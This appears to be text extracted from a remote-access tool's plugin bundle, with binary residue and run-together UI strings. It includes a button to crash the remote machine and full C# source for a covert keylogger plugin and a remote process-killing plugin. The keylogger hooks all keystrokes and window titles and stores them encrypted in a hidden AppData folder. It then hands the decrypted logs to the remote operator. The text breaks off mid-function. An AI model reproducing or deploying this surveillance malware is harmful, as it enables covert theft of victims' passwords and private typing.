Ý Volume50%Set Volume=Ø¬Ü Message Box Send#=ØãÝ Text-to-Speech SpeakcCascadia Mono, Consolas, 'Courier New', monospaceIWaiting for client plugin to load... BSODMessageBoxCD OpenCD CloseMonitor OffMonitor OnTTSCommand 0xbtnBorderbtnContentuSend BSOD? This will crash the remote machine immediately.Confirm BSODBSOD sent!Monitor Off sentMonitor On sentCD Open sentCD Close sentUClient plugin ready. All controls enabled.  Disconnected)Client disconnected.
keylogKeylogger€ƒOffline keylogger with encrypted local storage and log retrieval.ÀîÑ
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace ClientPlugin_keylog
{
public class Main
{
private Func<byte[], Task> _send;
private CancellationTokenSource _cts = new CancellationTokenSource();
private int _flushIntervalMs = 15000;
private long _maxLogFileSize = 5 * 1024 * 1024;
// Hook
private IntPtr _hookId = IntPtr.Zero;
private HookProc _hookProc;
private Thread _hookThread;
private volatile bool _hookRunning = false;
private uint _hookThreadId;
// Buffers
private readonly object _bufferLock = new object();
private StringBuilder _logBuffer = new StringBuilder();
private string _lastWindowTitle = "";
// Key state
private readonly HashSet<int> _pressedKeys = new HashSet<int>();
// Encryption key
private byte[] _encKey;
// Log directory
private string _logDir;
// Delegates and constants
private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
private const int WH_KEYBOARD_LL = 13;
private const int WM_KEYDOWN = 0x0100;
private const int WM_KEYUP = 0x0101;
private const int WM_SYSKEYDOWN = 0x0104;
private const int WM_SYSKEYUP = 0x0105;
private const uint WM_QUIT = 0x0012;
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool UnhookWindowsHookEx(IntPtr hhk);
[DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
private static extern IntPtr GetModuleHandle(string lpModuleName);
[DllImport("user32.dll")]
private static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto)]
private static extern int GetWindowText(IntPtr hWnd, StringBuilder lpString, int nMaxCount);
[DllImport("user32.dll")]
private static extern int GetWindowTextLength(IntPtr hWnd);
[DllImport("user32.dll")]
private static extern bool GetMessage(out MSG lpMsg, IntPtr hWnd, uint wMsgFilterMin, uint wMsgFilterMax);
[DllImport("user32.dll")]
private static extern bool TranslateMessage(ref MSG lpMsg);
[DllImport("user32.dll")]
private static extern IntPtr DispatchMessage(ref MSG lpMsg);
[DllImport("user32.dll")]
private static extern bool PostThreadMessage(uint idThread, uint Msg, IntPtr wParam, IntPtr lParam);
[DllImport("kernel32.dll")]
private static extern uint GetCurrentThreadId();
[DllImport("user32.dll")]
private static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpKeyState, StringBuilder pwszBuff, int cchBuff, uint wFlags);
[DllImport("user32.dll")]
private static extern bool GetKeyboardState(byte[] lpKeyState);
[DllImport("user32.dll")]
private static extern uint MapVirtualKey(uint uCode, uint uMapType);
[StructLayout(LayoutKind.Sequential)]
private struct MSG
{
public IntPtr hwnd;
public uint message;
public IntPtr wParam;
public IntPtr lParam;
public uint time;
public int pt_x;
public int pt_y;
}
[StructLayout(LayoutKind.Sequential)]
private struct KBDLLHOOKSTRUCT
{
public uint vkCode;
public uint scanCode;
public uint flags;
public uint time;
public IntPtr dwExtraInfo;
}
public async Task Run(Func<byte[], Task> sendData, Func<Task<byte[]>> receiveData)
{
_send = sendData;
InitEncryption();
InitLogDir();
StartHook();
await SendAck("Keylogger active");
var recvTask = Task.Run(async () =>
{
while (!_cts.IsCancellationRequested)
{
try
{
byte[] data = await receiveData();
if (data == null || data.Length == 0) break;
await HandleCommand(data);
}
catch { break; }
}
});
var flushTask = Task.Run(() =>
{
while (!_cts.IsCancellationRequested)
{
for (int i = 0; i < _flushIntervalMs / 100; i++)
{
if (_cts.IsCancellationRequested) break;
Thread.Sleep(100);
}
FlushToDisk();
}
});
await Task.WhenAny(recvTask, flushTask);
_cts.Cancel();
FlushToDisk();
StopHook();
}
private void InitEncryption()
{
string seed = Environment.MachineName + "|" + Environment.UserName + "|keylog_salt_v1";
using (SHA256 sha = SHA256.Create())
{
_encKey = sha.ComputeHash(Encoding.UTF8.GetBytes(seed));
}
}
private void InitLogDir()
{
_logDir = Path.Combine(
Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData),
".sysconfig", "logs"
);
try
{
if (!Directory.Exists(_logDir))
{
DirectoryInfo di = Directory.CreateDirectory(_logDir);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
}
catch { }
}
private async Task HandleCommand(byte[] data)
{
if (data.Length < 1) return;
byte cmd = data[0];
switch (cmd)
{
case 0x01:
await SendLogFileList();
break;
case 0x02:
if (data.Length > 1)
{
string fileName = Encoding.UTF8.GetString(data, 1, data.Length - 1);
await SendLogFileContent(fileName);
}
break;
case 0x03:
if (data.Length > 1)
{
string fileName = Encoding.UTF8.GetString(data, 1, data.Length - 1);
await DeleteLogFile(fileName);
}
break;
case 0x04:
await DeleteAllLogs();
break;
case 0x05:
FlushToDisk();
await SendAck("Flushed to disk");
break;
case 0x06:
await SendStatusInfo();
break;
case 0x07:
if (data.Length >= 5)
{
int interval = data[1] | (data[2] << 8) | (data[3] << 16) | (data[4] << 24);
if (interval >= 1000 && interval <= 120000)
_flushIntervalMs = interval;
await SendAck("Flush interval: " + _flushIntervalMs + "ms");
}
break;
}
}
private async Task SendLogFileList()
{
string errorMsg = null;
string[] files = null;
try
{
if (!Directory.Exists(_logDir))
{
files = new string[0];
}
else
{
files = Directory.GetFiles(_logDir);
}
}
catch (Exception ex)
{
errorMsg = "List failed: " + ex.Message;
}
if (errorMsg != null)
{
await SendError(errorMsg);
return;
}
await SendLogList(files);
}
private async Task SendLogList(string[] filePaths)
{
using (MemoryStream ms = new MemoryStream())
using (BinaryWriter bw = new BinaryWriter(ms, Encoding.UTF8))
{
bw.Write((byte)0x10);
bw.Write(filePaths.Length);
foreach (string fp in filePaths)
{
try
{
FileInfo fi = new FileInfo(fp);
string name = fi.Name;
bw.Write(name);
bw.Write(fi.Length);
bw.Write(fi.LastWriteTimeUtc.Ticks);
}
catch
{
bw.Write(Path.GetFileName(fp));
bw.Write(0L);
bw.Write(0L);
}
}
await _send(ms.ToArray());
}
}
private async Task SendLogFileContent(string fileName)
{
string errorMsg = null;
byte[] sendMsg = null;
try
{
fileName = Path.GetFileName(fileName);
string filePath = Path.Combine(_logDir, fileName);
if (!File.Exists(filePath))
{
errorMsg = "File not found: " + fileName;
}
else
{
byte[] encData = File.ReadAllBytes(filePath);
byte[] decData = DecryptData(encData);
if (decData == null)
{
errorMsg = "Decryption failed for: " + fileName;
}
else
{
byte[] nameBytes = Encoding.UTF8.GetBytes(fileName);
sendMsg = new byte[1 + 2 + nameBytes.Length + decData.Length];
sendMsg[0] = 0x11;
sendMsg[1] = (byte)(nameBytes.Length & 0xFF);
sendMsg[2] = (byte)((nameBytes.Length >> 8) & 0xFF);
Buffer.BlockCopy(nameBytes, 0, sendMsg, 3, nameBytes.Length);
Buffer.BlockCopy(decData, 0, sendMsg, 3 + nameBytes.Length, decData.Length);
}
}
}
catch (Exception ex)
{
errorMsg = "Read failed: " + ex.Message;
}
if (errorMsg != null)
{
await SendError(errorMsg);
}
else if (sendMsg != null)
{
await _send(sendMsg);
}
}
private async Task DeleteLogFile(string fileName)
{
string errorMsg = null;
bool deleted = false;
try
{
fileName = Path.GetFileName(fileName);
string filePath = Path.Combine(_logDir, fileName);
if (File.Exists(filePath))
{
File.Delete(filePath);
deleted = true;
}
else
{
errorMsg = "File not found: " + fileName;
}
}
catch (Exception ex)
{
errorMsg = "Delete failed: " + ex.Message;
}
if (errorMsg != null)
{
await SendError(errorMsg);
}
else if (deleted)
{
await SendAck("Deleted: " + fileName);
await SendLogFileList();
}
}
private async Task DeleteAllLogs()
{
string errorMsg = null;
int deletedCount = 0;
try
{
if (Directory.Exists(_logDir))
{
foreach (string f in Directory.GetFiles(_logDir))
{
try { File.Delete(f); deletedCount++; } catch { }
}
}
}
catch (Exception ex)
{
errorMsg = ex.Message;
}
if (errorMsg != null)
{
await SendError("Delete all failed: " + errorMsg);
}
else
{
await SendAck("Deleted " + deletedCount + " log file(s)");
}
await SendLogFileList();
}
private async Task SendStatusInfo()
{
int fileCount = 0;
long totalSize = 0;
try
{
if (Directory.Exists(_logDir))
{
string[] files = Directory.GetFiles(_logDir);
fileCount = files.Length;
foreach (string f in files)
{
try { totalSize += new FileInfo(f).Length; } catch { }
}
}
}
catch { }
int bufLen;
lock (_bufferLock) { bufLen = _logBuffer.Length; }
string status = "Hook=" + (_hookRunning ? "active" : "inactive") +
", Files=" + fileCount +
", Size=" + FormatSize(totalSize) +
", Buffer=" + bufLen + " chars" +
", Flush=" + _flushIntervalMs + "ms";
await SendAck(status);
}
private string FormatSize(long bytes)
{
if (bytes < 1024) return bytes + "B";
if (bytes < 1024 * 1024) return (bytes / 1024) + "KB";
return (bytes / (1024 * 1024)) + "MB";
}
private void FlushToDisk()
{
string content;
lock (_bufferLock)
{
if (_logBuffer.Length == 0) return;
content = _logBuffer.ToString();
_logBuffer.Clear();
}
try
{
if (!Directory.Exists(_logDir))
{
DirectoryInfo di = Directory.CreateDirectory(_logDir);
di.Attributes = FileAttributes.Directory | FileAttributes.Hidden;
}
string dateStr = DateTime.UtcNow.ToString("yyyy-MM-dd");
string filePath = Path.Combine(_logDir, dateStr);
int i = 0;
string testPath = filePath;
while (File.Exists(testPath))
{
long len = new FileInfo(testPath).Length;
if (len < _maxLogFileSize) break;
i++;
testPath = filePath + "_" + i;
}
filePath = testPath;
bool isNew = !File.Exists(filePath);
StringBuilder html = new StringBuilder();
if (isNew)
{
html.Append("<meta http-equiv='Content-Type' content='text/html; charset=utf-8'/>");
html.Append("<style>");
html.Append("body{background:#0d1117;color:#f0f6fc;font-family:Consolas,monospace;font-size:13px;padding:10px;}");
html.Append(".t{color:#58a6ff;font-weight:bold;margin:12px 0 4px 0;}");
html.Append(".k{color:#bb8009;}");
html.Append(".m{color:#da3633;}");
html.Append("</style>");
html.Append("<p>Log created: " + DateTime.UtcNow.ToString("yyyy-MM-dd HH:mm:ss") + " UTC</p>");
_lastWindowTitle = "";
}
html.Append(HtmlEncode(content));
string existing = "";
if (!isNew)
{
byte[] encExisting = File.ReadAllBytes(filePath);
byte[] decExisting = DecryptData(encExisting);
if (decExisting != null)
existing = Encoding.UTF8.GetString(decExisting);
}
string fullHtml = existing + html.ToString();
byte[] plainBytes = Encoding.UTF8.GetBytes(fullHtml);
byte[] encrypted = EncryptData(plainBytes);
File.WriteAllBytes(filePath, encrypted);
}
catch { }
}
private string HtmlEncode(string text)
{
StringBuilder sb = new StringBuilder();
int i = 0;
while (i < text.Length)
{
char c = text[i];
if (c == '\n')
{
if (i + 1 < text.Length && text[i + 1] == '\n')
{
int bracketStart = i + 2;
if (bracketStart < text.Length && text[bracketStart] == '[')
{
int bracketEnd = text.IndexOf(']', bracketStart);
if (bracketEnd > bracketStart && text.Substring(bracketStart, bracketEnd - bracketStart + 1).Contains(" UTC"))
{
string title = text.Substring(bracketStart, bracketEnd - bracketStart + 1);
sb.Append("<p class='t'>");
sb.Append(EscHtml(title));
sb.Append("</p>");
i = bracketEnd + 1;
if (i < text.Length && text[i] == '\n') i++;
continue;
}
}
}
sb.Append("<br>");
i++;
}
else if (c == '[')
{
int end = text.IndexOf(']', i);
if (end > i)
{
string bracket = text.Substring(i, end - i + 1);
if (bracket.StartsWith("[Ctrl+") || bracket.StartsWith("[Alt+") ||
bracket.StartsWith("[Win+") || bracket.StartsWith("[Shift+"))
{
sb.Append("<span class='m'>" + EscHtml(bracket) + "</span>");
}
else
{
sb.Append("<span class='k'>" + EscHtml(bracket) + "</span>");
}
i = end + 1;
}
else
{
sb.Append(EscHtml(c.ToString()));
i++;
}
}
else
{
sb.Append(EscHtml(c.ToString()));
i++;
}
}
return sb.ToString();
}
private string EscHtml(string s)
{
return s.Replace("&", "&amp;").Replace("<", "&lt;").Replace(">", "&gt;").Replace("\"", "&quot;");
}
private byte[] EncryptData(byte[] plaintext)
{
using (Aes aes = Aes.Create())
{
aes.Key = _encKey;
aes.GenerateIV();
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
using (ICryptoTransform enc = aes.CreateEncryptor())
{
byte[] cipher = enc.TransformFinalBlock(plaintext, 0, plaintext.Length);
byte[] result = new byte[16 + cipher.Length];
Buffer.BlockCopy(aes.IV, 0, result, 0, 16);
Buffer.BlockCopy(cipher, 0, result, 16, cipher.Length);
return result;
}
}
}
private byte[] DecryptData(byte[] encrypted)
{
if (encrypted == null || encrypted.Length < 17) return null;
try
{
byte[] iv = new byte[16];
Buffer.BlockCopy(encrypted, 0, iv, 0, 16);
int cipherLen = encrypted.Length - 16;
byte[] cipher = new byte[cipherLen];
Buffer.BlockCopy(encrypted, 16, cipher, 0, cipherLen);
using (Aes aes = Aes.Create())
{
aes.Key = _encKey;
aes.IV = iv;
aes.Mode = CipherMode.CBC;
aes.Padding = PaddingMode.PKCS7;
using (ICryptoTransform dec = aes.CreateDecryptor())
{
return dec.TransformFinalBlock(cipher, 0, cipher.Length);
}
}
}
catch
{
return null;
}
}
private void StartHook()
{
if (_hookRunning) return;
_hookThread = new Thread(() =>
{
_hookThreadId = GetCurrentThreadId();
_hookProc = new HookProc(KeyboardHookCallback);
using (Process curProcess = Process.GetCurrentProcess())
using (ProcessModule curModule = curProcess.MainModule)
{
_hookId = SetWindowsHookEx(WH_KEYBOARD_LL, _hookProc, GetModuleHandle(curModule.ModuleName), 0);
}
if (_hookId == IntPtr.Zero)
{
_hookRunning = false;
return;
}
_hookRunning = true;
MSG msg;
while (GetMessage(out msg, IntPtr.Zero, 0, 0))
{
TranslateMessage(ref msg);
DispatchMessage(ref msg);
}
UnhookWindowsHookEx(_hookId);
_hookId = IntPtr.Zero;
_hookRunning = false;
});
_hookThread.IsBackground = true;
_hookThread.SetApartmentState(ApartmentState.STA);
_hookThread.Start();
int wait = 0;
while (!_hookRunning && wait < 3000)
{
Thread.Sleep(10);
wait += 10;
}
}
private void StopHook()
{
if (!_hookRunning) return;
try { PostThreadMessage(_hookThreadId, WM_QUIT, IntPtr.Zero, IntPtr.Zero); } catch { }
int wait = 0;
while (_hookRunning && wait < 3000)
{
Thread.Sleep(10);
wait += 10;
}
if (_hookId != IntPtr.Zero)
{
try { UnhookWindowsHookEx(_hookId); } catch { }
_hookId = IntPtr.Zero;
}
_hookRunning = false;
}
private IntPtr KeyboardHookCallback(int nCode, IntPtr wParam, IntPtr lParam)
{
if (nCode >= 0)
{
int msg = wParam.ToInt32();
KBDLLHOOKSTRUCT hookStruct = (KBDLLHOOKSTRUCT)Marshal.PtrToStructure(lParam, typeof(KBDLLHOOKSTRUCT));
int vk = (int)hookStruct.vkCode;
if (msg == WM_KEYDOWN || msg == WM_SYSKEYDOWN)
{
HandleKeyDown(vk, hookStruct.scanCode);
}
else if (msg == WM_KEYUP || msg == WM_SYSKEYUP)
{
_pressedKeys.Remove(vk);
}
}
return CallNextHookEx(_hookId, nCode, wParam, lParam);
}
private void HandleKeyDown(int vk, uint scanCode)
{
string title = GetActiveWindowTitle();
if (!string.IsNullOrEmpty(title) && title != _lastWindowTitle)
{
_lastWindowTitle = title;
lock (_bufferLock)
{
_logBuffer.Append("\n\n[" + title + " - " + DateTime.UtcNow.ToString("HH:mm:ss") + " UTC]\n");
}
}
if (_pressedKeys.Contains(vk)) return;
_pressedKeys.Add(vk);
if (IsModifierKey(vk)) return;
bool ctrl = _pressedKeys.Contains(0xA2) || _pressedKeys.Contains(0xA3);
bool alt = _pressedKeys.Contains(0xA4) || _pressedKeys.Contains(0xA5);
bool shift = _pressedKeys.Contains(0xA0) || _pressedKeys.Contains(0xA1);
bool win = _pressedKeys.Contains(0x5B) || _pressedKeys.Contains(0x5C);
if (ctrl || alt || win)
{
StringBuilder combo = new StringBuilder("[");
if (ctrl) combo.Append("Ctrl+");
if (alt) combo.Append("Alt+");
if (win) combo.Append("Win+");
if (shift) combo.Append("Shift+");
combo.Append(GetVkName(vk));
combo.Append("]");
lock (_bufferLock) { _logBuffer.Append(combo.ToString()); }
return;
}
string ch = VkToChar((uint)vk, scanCode);
if (ch != null)
{
lock (_bufferLock) { _logBuffer.Append(ch); }
return;
}
string special = GetSpecialKeyText(vk);
if (special != null)
{
lock (_bufferLock) { _logBuffer.Append(special); }
}
}
private string VkToChar(uint vk, uint scanCode)
{
byte[] keyState = new byte[256];
GetKeyboardState(keyState);
StringBuilder result = new StringBuilder(4);
uint sc = MapVirtualKey(vk, 0);
int ret = ToUnicode(vk, sc, keyState, result, result.Capacity, 0);
if (ret == 1)
{
char c = result[0];
if (char.IsControl(c)) return null;
return c.ToString();
}
return null;
}
private bool IsModifierKey(int vk)
{
return vk == 0xA0 || vk == 0xA1 ||
vk == 0xA2 || vk == 0xA3 ||
vk == 0xA4 || vk == 0xA5 ||
vk == 0x5B || vk == 0x5C;
}
private string GetVkName(int vk)
{
Keys k = (Keys)vk;
string name = k.ToString();
if (name.Length == 2 && name[0] == 'D' && char.IsDigit(name[1]))
return name[1].ToString();
return name;
}
private string GetSpecialKeyText(int vk)
{
switch (vk)
{
case 0x0D: return "\n";
case 0x09: return "[Tab]";
case 0x08: return "[Backspace]";
case 0x20: return " ";
case 0x1B: return "[Esc]";
case 0x2E: return "[Del]";
case 0x2D: return "[Ins]";
case 0x24: return "[Home]";
case 0x23: return "[End]";
case 0x21: return "[PgUp]";
case 0x22: return "[PgDn]";
case 0x26: return "[Up]";
case 0x28: return "[Down]";
case 0x25: return "[Left]";
case 0x27: return "[Right]";
case 0x2C: return "[PrtSc]";
case 0x14: return "[CapsLock]";
case 0x90: return "[NumLock]";
case 0x70: return "[F1]";
case 0x71: return "[F2]";
case 0x72: return "[F3]";
case 0x73: return "[F4]";
case 0x74: return "[F5]";
case 0x75: return "[F6]";
case 0x76: return "[F7]";
case 0x77: return "[F8]";
case 0x78: return "[F9]";
case 0x79: return "[F10]";
case 0x7A: return "[F11]";
case 0x7B: return "[F12]";
default: return null;
}
}
private string GetActiveWindowTitle()
{
IntPtr hwnd = GetForegroundWindow();
if (hwnd == IntPtr.Zero) return "";
int len = GetWindowTextLength(hwnd);
if (len <= 0) return "";
StringBuilder sb = new StringBuilder(len + 1);
GetWindowText(hwnd, sb, sb.Capacity);
return sb.ToString();
}
private async Task SendAck(string message)
{
byte[] mb = Encoding.UTF8.GetBytes(message);
byte[] msg = new byte[mb.Length + 1];
msg[0] = 0xFE;
Buffer.BlockCopy(mb, 0, msg, 1, mb.Length);
try { await _send(msg); } catch { }
}
private async Task SendError(string message)
{
byte[] mb = Encoding.UTF8.GetBytes(message);
byte[] msg = new byte[mb.Length + 1];
msg[0] = 0xFF;
Buffer.BlockCopy(mb, 0, msg, 1, mb.Length);
try { await _send(msg); } catch { }
}
}
}
AReconnected to keylogger session(#RecordingConstant Keylogó' RefreshÉ% View=Ø¾Ü Save+ Flush9! Status' Delete & Delete AllLog Files0cCascadia Code, Cascadia Mono, Consolas, monospaceqSelect a log file and click View to display its contentsÏ%Initializing...)Segoe UI, sans-serif€‹Constant keylogging enabled  plugin stays running when tab is closed}Constant keylogging disabled  plugin stops when tab is closedMMM dd, HH:mm+No log loaded to saveSave Keylogkeylog_yyyyMMdd_HHmmss]HTML files (*.html)|*.html|All files (*.*)|*.*Saved to Save failed:  log files
foundViewing:  ( chars)View error: procmgrProcess Manager}Remote process manager with tree view, kill, and auto-refresh.À™/
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.IO;
using System.Management;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace ClientPlugin_procmgr
{
public class Main
{
private Func<byte[], Task> _send;
private CancellationTokenSource _cts = new CancellationTokenSource();
private bool _paused = false;
private int _refreshIntervalMs = 2000;
[DllImport("kernel32.dll", SetLastError = true)]
private static extern IntPtr CreateToolhelp32Snapshot(uint dwFlags, uint th32ProcessID);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool Process32First(IntPtr hSnapshot, ref PROCESSENTRY32 lppe);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool Process32Next(IntPtr hSnapshot, ref PROCESSENTRY32 lppe);
[DllImport("kernel32.dll", SetLastError = true)]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool CloseHandle(IntPtr hObject);
[StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]
private struct PROCESSENTRY32
{
public uint dwSize;
public uint cntUsage;
public uint th32ProcessID;
public IntPtr th32DefaultHeapID;
public uint th32ModuleID;
public uint cntThreads;
public uint th32ParentProcessID;
public int pcPriClassBase;
public uint dwFlags;
[MarshalAs(UnmanagedType.ByValTStr, SizeConst = 260)]
public string szExeFile;
}
private Dictionary<string, string> windowsProcessPaths = new Dictionary<string, string>()
{
{ "svchost.exe", @"C:\Windows\System32\svchost.exe" },
{ "explorer.exe", @"C:\Windows\explorer.exe" },
{ "taskhost.exe", @"C:\Windows\system32\taskhost.exe" },
{ "services.exe", @"C:\Windows\System32\services.exe" },
{ "lsass.exe", @"C:\Windows\System32\lsass.exe" },
{ "wininit.exe", @"C:\Windows\System32\wininit.exe" },
{ "csrss.exe", @"C:\Windows\System32\csrss.exe" },
{ "smss.exe", @"C:\Windows\System32\smss.exe" },
{ "spoolsv.exe", @"C:\Windows\System32\spoolsv.exe" },
{ "winlogon.exe", @"C:\Windows\System32\winlogon.exe" },
{ "dwm.exe", @"C:\Windows\System32\dwm.exe" },
{ "taskeng.exe", @"C:\Windows\System32\taskeng.exe" },
{ "logonui.exe", @"C:\Windows\System32\logonui.exe" },
{ "ctfmon.exe", @"C:\Windows\System32\ctfmon.exe" },
{ "cmd.exe", @"C:\Windows\System32\cmd.exe" },
{ "wmiprvse.exe", @"C:\Windows\System32\wbem\wmiprvse.exe" },
{ "notepad.exe", @"C:\Windows\System32\notepad.exe" },
{ "regedit.exe", @"C:\Windows\regedit.exe" },
{ "mspaint.exe", @"C:\Windows\System32\mspaint.exe" },
{ "mstsc.exe", @"C:\Windows\System32\mstsc.exe" }
};
public async Task Run(Func<byte[], Task> sendData, Func<Task<byte[]>> receiveData)
{
_send = sendData;
await _send(new byte[] { 0x01 });
var recvTask = Task.Run(async () =>
{
while (!_cts.IsCancellationRequested)
{
try
{
byte[] data = await receiveData();
if (data == null || data.Length == 0) break;
await HandleCommand(data);
}
catch { break; }
}
});
var sendTask = Task.Run(async () =>
{
while (!_cts.IsCancellationRequested)
{
if (!_paused)
{
try
{
byte[] processData = CollectProcessData();
if (processData != null && processData.Length > 0)
{
byte[] msg = new byte[processData.Length + 1];
msg[0] = 0x10;
Buffer.BlockCopy(processData, 0, msg, 1, processData.Length);
await _send(msg);
}
}
catch { }
}
for (int i = 0; i < _refreshIntervalMs / 100; i++)
{
if (_cts.IsCancellationRequested) break;
Thread.Sleep(100);
}
}
});
await Task.WhenAny(recvTask, sendTask);
_cts.Cancel();
}
private async Task HandleCommand(byte[] data)
{
if (data.Length < 1) return;
byte cmd = data[0];
switch (cmd)
{
case 0x01:
_paused = true;
await SendAck("Paused");
break;
case 0x02:
_paused = false;
await SendAck("Resumed");
break;
case 0x03:
if (data.Length >= 5)
{
int pid = data[1] | (data[2] << 8) | (data[3] << 16) | (data[4] << 24);
await KillProcess(pid);
await SendRefresh();
}
break;
case 0x04:
if (data.Length >= 5)
{
int interval = data[1] | (data[2] << 8) | (data[3] << 16) | (data[4] << 24);
if (interval >= 500 && interval <= 30000)
_refreshIntervalMs = interval;
}
break;
case 0x05:
await SendRefresh();
break;
case 0x06:
if (data.Length >= 5)
{
int pid = data[1] | (data[2] << 8) | (data[3] << 16) | (data[4] << 24);
await KillProcessTree(pid);
await SendRefresh();
}
break;
case 0x07:
if (data.Length >= 5)
{
int count = data[1] | (data[2] << 8) | (data[3] << 16) | (data[4] << 24);
int offset = 5;
int killed = 0;
int failed = 0;
for (int i = 0; i < count && offset + 4 <= data.Length; i++)
{
int pid = data[offset] | (data[offset+1] << 8) | (data[offset+2] << 16) | (data[offset+3] << 24);
offset += 4;
Process proc = null;
try { proc = Process.GetProcessById(pid); proc.Kill(); killed++; }
catch { failed++; }
finally { if (proc != null) proc.Dispose(); }
}
await SendStatus(0xFE, "Killed " + killed + " process(es)" + (failed > 0 ? ", " + failed + " failed" : ""));
await SendRefresh();
}
break;
case 0x08:
if (data.Length >= 5)
{
int count = data[1] | (data[2] << 8) | (data[3] << 16) | (data[4] << 24);
int offset = 5;
int totalKilled = 0;
for (int i = 0; i < count && offset + 4 <= data.Length; i++)
{
int pid = data[offset] | (data[offset+1] << 8) | (data[offset+2] << 16) | (data[offset+3] << 24);
offset += 4;
List<int> toKill = new List<int>();
GetChildPids(pid, toKill);
toKill.Add(pid);
foreach (int p in toKill)
{
Process proc = null;
try { proc = Process.GetProcessById(p); proc.Kill(); totalKilled++; }
catch { }
finally { if (proc != null) proc.Dispose(); }
}
}
await SendStatus(0xFE, "Killed " + totalKilled + " process(es) across " + count + " tree(s)");
await SendRefresh();
}
break;
}
}
private async Task SendRefresh()
{
Thread.Sleep(300);
try
{
byte[] processData = CollectProcessData();
if (processData != null)
{
byte[] msg = new byte[processData.Length + 1];
msg[0] = 0x10;
Buffer.BlockCopy(processData, 0, msg, 1, processData.Length);
await _send(msg);
}
}
catch { }
}
private async Task KillProcess(int pid)
{
Process process = null;
string errorMsg = null;
string successName = null;
try { process = Process.GetProcessById(pid); successName = process.ProcessName; process.Kill(); }
catch (Exception ex) { errorMsg = ex.Message; successName = null; }
finally { if (process != null) process.Dispose(); }
if (errorMsg != null) await SendStatus(0xFF, "Kill failed PID " + pid + ": " + errorMsg);
else if (successName != null) await SendStatus(0xFE, "Killed: " + successName + " (PID " + pid + ")");
}
private async Task KillProcessTree(int pid)
{
string errorMsg = null;
int killed = 0;
try
{
List<int> toKill = new List<int>();
GetChildPids(pid, toKill);
toKill.Add(pid);
foreach (int p in toKill)
{
Process proc = null;
try { proc = Process.GetProcessById(p); proc.Kill(); killed++; }
catch { }
finally { if (proc != null) proc.Dispose(); }
}
}
catch (Exception ex) { errorMsg = ex.Message; }
if (errorMsg != null) await SendStatus(0xFF, "Kill tree failed: " + errorMsg);
else await SendStatus(0xFE, "Killed tree: " + killed + " process(es) from PID " + pid);
}
private void GetChildPids(int parentPid, List<int> result)
{
IntPtr snap = CreateToolhelp32Snapshot(2, 0);
if (snap.ToInt64() == -1) return;
try
{
PROCESSENTRY32 entry = new PROCESSENTRY32();
entry.dwSize = (uint)Marshal.SizeOf(typeof(PROCESSENTRY32));
if (Process32First(snap, ref entry))
{
do
{
if ((int)entry.th32ParentProcessID == parentPid)
{
int childPid = (int)entry.th32ProcessID;
result.Add(childPid);
GetChildPids(childPid, result);
}
} while (Process32Next(snap, ref entry));
}
}
finally { CloseHandle(snap); }
}
private byte[] CollectProcessData()
{
Dictionary<int, int> parentMap = GetParentMap();
Dictionary<int, string> filePaths = GetProcessFilePaths();
Process[] processes = Process.GetProcesses();
try
{
Dictionary<int, ProcInfo> infoMap = new Dictionary<int, ProcInfo>();
foreach (Process p in processes)
{
try
{
string path = "";
if (filePaths.ContainsKey(p.Id)) path = filePaths[p.Id];
string desc = "Unknown";
if (!string.IsNullOrEmpty(path))
{
try
{
FileVersionInfo fvi = FileVersionInfo.GetVersionInfo(path);
if (!string.IsNullOrEmpty(fvi.FileDescription)) desc = fvi.FileDescription;
}
catch { }
}
long memBytes = 0;
try { memBytes = p.WorkingSet64; } catch { }
int parentPid = -1;
if (parentMap.ContainsKey(p.Id)) parentPid = parentMap[p.Id];
infoMap[p.Id] = new ProcInfo { PID = p.Id, Name = p.ProcessName, FilePath = path, Description = desc, MemoryBytes = memBytes, ParentPID = parentPid };
}
catch { }
}
List<ProcInfo> roots = new List<ProcInfo>();
foreach (ProcInfo pi in infoMap.Values)
{
if (!infoMap.ContainsKey(pi.ParentPID)) roots.Add(pi);
}
Dictionary<int, List<ProcInfo>> childrenMap = new Dictionary<int, List<ProcInfo>>();
foreach (ProcInfo pi in infoMap.Values)
{
if (infoMap.ContainsKey(pi.ParentPID))
{
if (!childrenMap.ContainsKey(pi.ParentPID)) childrenMap[pi.ParentPID] = new List<ProcInfo>();
childrenMap[pi.ParentPID].Add(pi);
}
}
using (MemoryStream ms = new MemoryStream())
using (BinaryWriter bw = new BinaryWriter(ms, Encoding.UTF8))
{
bw.Write(infoMap.Count);
bw.Write(roots.Count);
foreach (ProcInfo root in roots) SerializeNode(bw, root, childrenMap);
return ms.ToArray();
}
}
finally
{
foreach (Process p in processes) { try { p.Dispose(); } catch { } }
}
}
private void SerializeNode(BinaryWriter bw, ProcInfo node, Dictionary<int, List<ProcInfo>> childrenMap)
{
bw.Write(node.PID);
bw.Write(node.Name ?? "");
bw.Write(node.FilePath ?? "");
bw.Write(node.Description ?? "");
bw.Write(node.MemoryBytes);
List<ProcInfo> children = null;
if (childrenMap.ContainsKey(node.PID)) children = childrenMap[node.PID];
